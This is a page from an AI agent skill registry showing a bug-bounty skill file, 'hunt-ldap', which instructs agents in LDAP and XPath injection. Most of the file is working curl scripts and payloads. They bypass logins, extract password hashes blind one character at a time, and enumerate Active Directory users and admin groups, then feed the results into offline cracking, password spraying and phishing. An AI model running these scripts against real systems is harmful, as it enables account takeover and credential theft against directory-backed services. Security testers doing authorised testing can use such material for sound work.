hunt-ldap
Skill2 starsChanged 2 months agoMITView on GitHub
Hunt LDAP Injection and XPath Injection — authentication bypass, blind char-by-char attribute exfiltration, AD user/group enumeration, XML-store XPath bypass. Covers the LDAP special-character set (* ( ) NUL /), search-filter-context vs DN-injection, parenthesis-balancing, AND/OR filter logic, and {SSHA}/{CRYPT} userPassword exfil on non-AD directories. Use when target uses LDAP/AD authentication, corporate SSO with a directory backend, an address-book/people-search API, or XML-based data stores queried with XPath.
- Sends data out
2 other projects use a version of this, 2 of them edited.
Adopted by
Most recently taken up by
- murrtada/bug-bounty-agent-skillsedited, first seen Nov 15, 2026
- elementalsouls/Claude-BugHunteredited, first seen Jul 1, 2026
Other versions2 projects use a version of this.
Word for word · 0
None found.
Edited · 2
- elementalsouls/Claude-BugHunter★ 6.1k100% same
- murrtada/bug-bounty-agent-skills★ 7100% same
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository255 other files it gives its agents.
- ad-acl-abuseSkill
- ad-adcs-access-and-relaySkill
- ad-adcs-persistenceSkill
- ad-adcs-template-abuseSkill
- ad-ad-discoverySkill
- ad-ad-persistenceSkill
- ad-auth-coercion-relaySkill
- ad-credential-dumpingSkill
- ad-gpo-abuseSkill
- ad-kerberos-delegationSkill
- ad-kerberos-roastingSkill
- ad-kerberos-ticket-forgingSkill
- ad-pass-the-hashSkill
- ad-sccm-exploitationSkill
- ad-trust-attacksSkill
- hunt-ntlm-infoSkill
- offensive-active-directorySkill
- hunt-llm-aiSkill
- hunt-rag-vectorSkill
- offensive-ai-securitySkill
- cloud-iam-deepSkill
- hunt-cloud-misconfigSkill
- hunt-k8sSkill
- m365-entra-attackSkill
- network-container-escapesSkill
- offensive-cloudSkill
- offensive-container-escapeSkill
- offensive-k8s-attacksSkill
- okta-attackSkill
- vmware-vcenter-attackSkill
- credential-password-sprayingSkill
- hunt-brute-forceSkill
- hunt-forgot-passwordSkill
- post-exploit-credential-recoverySkill
- meme-coin-auditSkill
- offensive-crypto-attacksSkill
- web3-auditSkill
- ctfSkill
- advisory-miningSkill
- auth-bypassSkill
- code-injection-codegenSkill
- command-injectionSkill
- cross-pollinationSkill
- cve-hunting-methodologySkill
- decompression-bombSkill
- entity-expansionSkill
- fp-checkSkill
- method-clobberingSkill
- path-traversalSkill
- prototype-pollutionSkill
- recursion-dosSkill
- redosSkill
- sandbox-escapeSkill
- target-reconSkill
- web2-vuln-classesSkill
- evasion-av-edr-evasionSkill
- offensive-anti-forensicsSkill
- offensive-edr-evasionSkill
- offensive-keylogger-archSkill
- offensive-mitigationsSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
2 rules. About 0 are common, 1 is distinctive, and 1 is very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈1
Distinctive · estimate
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 36
Do not conflate the two. They behave very differently:
- Very specific: line 204
If body length is unreliable, switch the oracle to HTTP status, a body marker string ("Invalid credentials" present/absent), or timing with …
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
HUNT-LDAP — LDAP Injection & XPath Injection
Grounding note: LDAP injection is rarely disclosed with verbatim payloads on public platforms (most live on internal-pentest reports). This skill is grounded in the OWASP LDAP Injection Prevention / Testing Guide (WSTG-INPV-06), PortSwigger Web Security Academy (LDAP injection), and the RFC 4515 filter grammar — all publicly verifiable references rather than invented HackerOne IDs. Do not cite a report you cannot link.
Crown Jewel Targets
LDAP injection that bypasses authentication = Critical. Blind attribute exfiltration of credentials/secrets = High. AD enumeration alone = Medium-High.
Highest-value chains:
- LDAP auth bypass — close the
uidfilter and append an always-true OR so the bind/search returns the admin entry without a valid password. - Blind attribute exfil — char-by-char extraction of an attribute value via a boolean oracle (login success/failure, result count, or response length).
- userPassword hash exfil (non-AD only) — on OpenLDAP/389-DS the
userPasswordattribute can hold{SSHA}/{CRYPT}hashes that ARE readable by query. See the AD-vs-generic warning below. - XPath injection auth bypass —
' or '1'='1against XML-backed auth.
CRITICAL — Active Directory vs generic LDAP
Do not conflate the two. They behave very differently:
| Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory | |
| Password attribute | userPassword — may hold {SSHA}/{MD5}/{CRYPT} and is readable if ACL allows | unicodePwd — write-only, never returned by any search |
| Hash exfil via injection | Possible where ACLs leak userPassword | Not possible — there is no readable hash attribute over LDAP |
| Useful enum attrs | uid, cn, mail, userPassword | sAMAccountName, userPrincipalName, mail, memberOf, description (often holds plaintext secrets!) |
Do not tell a reader that blind LDAP injection yields AD password hashes — it
does not. unicodePwd is write-only. Against AD, the win is enumeration
(sAMAccountName, memberOf, description/info fields that admins misuse to
store passwords) and auth bypass — not hash dumping. The hash-exfil technique
applies only to non-AD directories exposing userPassword.
Attack Surface Signals
Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/* /api/directory/* /people /address-book /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
javax.naming.NameNotFoundException
javax.naming.directory.InvalidSearchFilterException
LDAP: error code 49 - 80090308 (AD invalid creds / bind failure)
com.sun.jndi.ldap.* / System.DirectoryServices / ldap_search():
"Bad search filter" / net.ldap (Go) / python-ldap SERVER_DOWNLDAP filter grammar (RFC 4515) — why injection works
A login filter is typically built by string-concat:
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))& = AND, | = OR, ! = NOT. Filters are prefix/Polish notation — the
operator comes first and every sub-filter is parenthesised. To inject you must
(a) escape the current (uid=...) group, (b) inject your own logic, and
(c) leave the overall parenthesis count balanced or the server throws a
filter-syntax error instead of executing.
The special-character set — TEST EACH ONE
These characters are syntactically meaningful and MUST be escaped by a safe app (RFC 4515 §3). If the app reflects an error or behaves differently when you send them raw, the input is unescaped → injectable:
| Char | Filter escape | Why it matters |
* | \2a | wildcard — matches any value |
( | \28 | opens a filter group |
) | \29 | closes a filter group |
\ | \5c | escape char itself |
| NUL | \00 | string terminator — truncates filter in C-backed servers |
/ | (DN context) | RDN separator — relevant for DN injection |
Search-filter context vs DN injection are different bugs:
- Search-filter injection (most common): your input lands inside a
(attr=VALUE)filter. Payloads use* ( ) & | !. - DN injection: your input is concatenated into a Distinguished Name
(
uid=VALUE,ou=people,dc=corp). Here,=+"\<>;and/matter, and a*is NOT a wildcard. Test both — the payloads do not transfer.
Step-by-Step Hunting Methodology
Phase 1 — Confirm an LDAP backend (baseline first)
# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
-X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"
# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"test)","password":"x"}' | grep -iE \
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"A lone ) that produces a syntax error/500 while a balanced payload does not is
the cleanest LDAP-injection tell — note it, you will need it as proof.
Phase 2 — Auth-bypass payloads (balance your parentheses)
# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.
# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
# username = *)(uid=*))(|(uid=* password = anything
# Always-true admin (OR uid=*):
# username = admin)(|(uid=*) (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
# username = admin)(uid=*))%00 password = x
USERNAME_PAYLOADS=(
'admin))(|(uid=*' # close uid + close &, open OR uid=* — balance check below
'*)(uid=*))(|(uid=*' # full always-true, self-balancing classic
'admin)(!(userPassword=ZZZ))' # AND NOT a password that is never set → always true
'admin*' # simple wildcard suffix — try first, lowest noise
)
for P in "${USERNAME_PAYLOADS[@]}"; do
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
echo "PAYLOAD: $P"
echo "RESP: ${R: -40}"
echo "BASE: $BASE <-- compare http_code+size to rule out false positive"
echo "---"
doneParenthesis-balancing rule of thumb: count ( minus ) in the resulting
full filter, not just your payload. If the app appends )(userPassword=...))
after your input, leave the right number of trailing ) so the final string is
balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).
Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)
Raw size_download diffing is noise-prone (WAF banners, CSRF tokens, timestamps,
length-jitter on the injected char itself). Use a paired true/false control
so the oracle is the response, not the absolute size.
# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=* -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () { # $1 = filter-tail payload -> prints normalized size
curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*)) on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
done
done
echo "RECOVERED: $PREFIX"False-positive guards for blind exfil:
- Repeat each positive char 3x and confirm the size is stable — length-jitter from the attacker-controlled char itself is the #1 false positive.
- Confirm the FALSE control still returns the FALSE size after each round (the app didn't just start erroring on every request — WAF block looks like a match).
- If body length is unreliable, switch the oracle to HTTP status, a body
marker string (
"Invalid credentials"present/absent), or timing with a heavy filter — but only after establishing a stable baseline delta.
Phase 4 — XPath injection (XML-backed auth)
# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
# Bypass closes the name predicate and OR-trues the whole expression.
XPATH_PAYLOADS=(
"' or '1'='1"
"' or ''='"
"admin' or '1'='1' or 'a'='b" # keeps quoting balanced
"x'] | //user/* | //user[name()='x" # blind: dump all user nodes (XPath has no comments)
"*[contains(name(),'pass')]" # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
--data-urlencode "username=$P" --data-urlencode "password=x")
echo "$P -> ${R: -24}"
done
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.Phase 5 — AD enumeration via wildcard (count oracle, with control)
# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
# A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl -s -X POST https://$TARGET/api/directory/search \
-H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done
# Then pivot to memberOf / description for privileged accounts:
# (&(sAMAccountName=*)(memberOf=*Domain Admins*))
# (description=*pw*) (description=*pass*) — admins stash secrets herePhase 6 — Tooling & OOB confirmation
# Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
-b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
# Burp: Intruder over the char set for blind exfil; the Web Security Academy
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
# inject a referral/URL the server dereferences, point it at Collaborator:
# (uid=*))(referral=ldap://<COLLAB>/x) — a DNS/LDAP hit at Collaborator
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
# as the gold-standard confirmation for otherwise-blind cases.Chain Table
| LDAP finding | Chain to | Impact |
| Auth-bypass (always-true filter) | Admin/SSO panel as first directory entry | Critical |
AD enumeration (sAMAccountName) | Username list → password spray / credential stuffing | Mass-ATO risk |
memberOf enumeration | Identify Domain Admins → targeted phishing/spray | Targeted compromise |
description/info field read | Plaintext creds admins stashed there | Direct credential leak |
Blind exfil of userPassword (non-AD only) | {SSHA} (salted SHA-1) → hashcat -m 111 ({SSHA256}=1411, {SSHA512}=1711); {CRYPT} → mode depends on the $id$ prefix ($1$=500, $6$=1800) → offline crack | High |
| LDAP referral → Collaborator | Server-side request / internal directory reach | SSRF-class, confirms blind |
AD has no readable password attribute — do not list "extract AD hashes" as a chain. Against AD, the credential win comes from
description/infomisuse or from enumerated usernames feeding a spray, never fromunicodePwd.
Validation — rule out the false positive BEFORE you report
A "bypass" or "match" is only real once you have eliminated syntax-error, WAF-block, and length-jitter explanations.
- Auth bypass: the always-true payload returns a valid authenticated session (session cookie + access to a post-login resource), and the same request with one paren removed returns a filter-syntax error — proving the filter parsed and executed, not that the app fell open on every input.
- Negative control: an equivalently-shaped but logically-FALSE payload
(
)(uid=NONEXISTENT_ZZZ)) returns the failure response. If both true-class and false-class "succeed", you found a broken endpoint, not LDAP injection. - Blind exfil: each recovered char reproduces 3x with stable size; the FALSE control still reads FALSE between rounds; recovered value verified by a direct lookup or by the auth-bypass payload that uses it.
- XPath: quotes/brackets remained balanced (no 500), and the bypass logged in to a real account context — not just a different error page.
- OOB where possible: a Collaborator DNS/LDAP interaction from a referral payload is decisive for blind cases — prefer it over length-only inference.
- AD claim discipline: if you say "AD", you enumerated AD-specific attrs
(
sAMAccountName/memberOf); never claim AD hash exfil.
Severity:
- Auth bypass landing as admin/privileged directory entry: Critical
userPasswordhash exfil (non-AD) ordescription-field credential read: High- AD user/group enumeration only: Medium-High
- Blind boolean oracle confirmed but no useful attribute reachable: Medium
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

